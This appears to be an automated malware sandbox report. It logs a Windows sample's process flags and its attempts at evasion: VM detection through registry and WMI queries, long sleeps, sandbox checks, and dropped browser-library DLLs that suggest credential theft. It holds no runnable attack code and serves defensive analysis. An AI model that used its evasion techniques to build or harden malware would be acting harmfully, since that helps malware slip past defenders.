Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Process information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ewggbbh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\329C.exe Stalling execution: Execution stalls by calling Sleep
Queries memory information (via WMI often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\ewggbbh API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\ewggbbh API/Special instruction interceptor: Address: 7FFE2220D584
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: ewggbbh, 00000003.00000002.1937922345.000000000083E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ASWHOOK
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Memory allocated: 22D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Memory allocated: 2470000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Memory allocated: 4470000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 421 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 1407 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 757 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 3233 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 873 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 878 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Window / User API: threadDelayed 4852 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Window / User API: threadDelayed 8445
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found evasive API chain (date check)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr API coverage: 4.6 %
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe API coverage: 0.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 7796 Thread sleep time: -140700s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7792 Thread sleep time: -75700s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 8124 Thread sleep time: -34600s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 8120 Thread sleep time: -31000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7796 Thread sleep time: -323300s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif TID: 5100 Thread sleep time: -48520s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe TID: 3588 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe TID: 3300 Thread sleep count: 8445 > 30
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe TID: 3588 Thread sleep time: -37186s >= -30000s
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Thread sleep count: Count: 4852 delay: -10 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_004062EB FindFirstFileW,FindClose, 7_2_004062EB
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 7_2_00406CB1
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 25_2_00E84005
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 25_2_00E8C2FF
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8494A GetFileAttributesW,FindFirstFileW,FindClose, 25_2_00E8494A
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 25_2_00E8CD9F
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8CD14 FindFirstFileW,FindClose, 25_2_00E8CD14
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 25_2_00E8F5D8
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 25_2_00E8F735
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 25_2_00E8FA36
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 25_2_00E83CE2
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E35D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 25_2_00E35D13
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\795933\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\795933 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: explorer.exe, 00000001.00000000.1705270958.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr Binary or memory string: ParallelsVirtualMachine
Source: explorer.exe, 00000001.00000000.1704715234.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1703368759.00000000078A0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000001.00000000.1705270958.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1702194356.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1703368759.00000000079FB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1705270958.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTTAVMWare
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr Binary or memory string: xmlphpvlczpl wpl xpacketimport hrefXML:NAMESPACEaid DOCTYPE ELEMENT ENTITY -- <mdb:mork:zAFDR aom saved from url=(-->xmlns=jobwmlRDFnzbsvgkmlgpxCaRxslJDFrssRSStagTAGXMIlmxloclogIMGtmxosmX3DVERCFLRCCncxxbkSCFrtcpseSDOmapnviofcasxdivLogopmlsmilrootpgmlxfdfXFDLBASEtei2xbeljnlpdgmlfeedFEEDinfobeancasevxmlsesxnotesitetasklinkxbrlGAEBXZFXFormqgisSMAIHDMLjsonpsplbodyheadmetadictdocuembedplistTEI.2xliffformsQBXMLTypeseaglehtml5myapptablestyleentrygroupLXFMLwindowdialogSchemaschemacommonCanvaslayoutobjectFFDataReporttaglibARCXMLgnc-v2modulerobloxXDFV:4Xara3DLayoutRDCManattachwidgetreportSchemewebbuyloaderdeviceRDF:RDFweb:RDFoverlayprojectProjectabiwordxdp:xdpsvg:svgCOLLADASOFTPKGfo:rootlm:lmxarchivecollagelibraryHelpTOCpackagesiteMapen-noteFoundryweblinkReportssharingWebPartTestRunpopularsnippetwhpropsQBWCXMLcontentkml:kmlSDOListkDRouteFormSetactionslookupssectionns2:gpxPaletteCatalogProfileTreePadMIFFileKeyFilepayloadPresetsstringsdocumentDocumentNETSCAPEmetalinkresourcenewsItemhtmlplusEnvelopeplandatamoleculelicensesDatabasebindingsWorkbookPlaylistBookFileTimeLinejsp:rootbrowsersfotobookMTSScenemessengercomponentc:contactr:licensex:xmpmetadiscoveryERDiagramWorksheetcrickgridHelpIndexWinampXMLrecoIndexTomTomTocen-exportAnswerSetwinzipjobmuseScorePHONEBOOKm:myListsedmx:EdmxYNABData1workspacePlacemarkMakerFileoor:itemsscriptletcolorBookSignaturexsd:schemadlg:windowFinalDraftVirtualBoxTfrxReportVSTemplateWhiteboardstylesheetBurnWizarddictionaryPCSettingsRedlineXMLBackupMetaxbrli:xbrlFontFamilys:WorkbookFictionBookdia:diagramdefinitionsNmfDocumentSnippetRootSEC:SECMetanet:NetfileCustSectionDieCutLabelPremierDataUserControljsp:includess:Workbookapplicationjsp:useBeancfcomponentparticipantSessionFilejasperReporthelpdocumentxsl:documentxsl:templatePremiereDataSettingsFileCodeSnippetsFileInstancetpmOwnerDataDataTemplateProject_DataTfrReportBSAnote:notepadFieldCatalogUserSettingsgnm:WorkbookLIBRARY_ITEMDocumentDatamso:customUIpicasa2albumrnpddatabasepdfpreflightrn-customizecml:moleculemuveeProjectRelationshipsVisioDocumentxsl:transformD:multistatusKMYMONEY-FILEBackupCatalogfile:ManifestPocketMindMapDiagramLayoutannotationSetLEAPTOFROGANSpublic:attachsoap:EnvelopepersistedQuerymx:ApplicationOverDriveMediaasmv1:assemblyHelpCollectionQvdTableHeaderSCRIBUSUTF8NEWw:wordDocumentPADocumentRootConfigMetadataBorlandProjectDTS:ExecutableMMC_ConsoleFilelibrary:libraryglade-interfacerg:licenseGroupdisco:discoveryAdobeSwatchbookaudacityprojectoffice:documentCoolpixTransfersqueeze_projectwirelessProfileProjectFileInfowsdl:definitionsScrivenerProjectfulfillmentTokenkey:presentationdynamicDiscoverylibrary:librariesClickToDvdProjectDataCladFileStorechat_api_responseMyApplicationDataKeyboardShortcutsDeepBurner_recordXmlTransformationdata.vos.BudgetVOIRIDASCompositionpresentationClipsoor:component-datalibraryDescriptionPowerShellMetadataResourceDictionaryxsf:xDocumentClassoffice:color-tableVisualStudioProjectActiveReportsLayoutwap-provisioningdocAfterEffectsProjectoor:component-sch
Source: DFA6.exe, 0000001A.00000000.2334640220.0000000000401000.00000020.00000001.01000000.0000000B.sdmp Binary or memory string: QEMUU
Source: explorer.exe, 00000001.00000000.1704715234.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: RegAsm.exe, 0000001F.00000002.4119407498.0000000005200000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlluu*
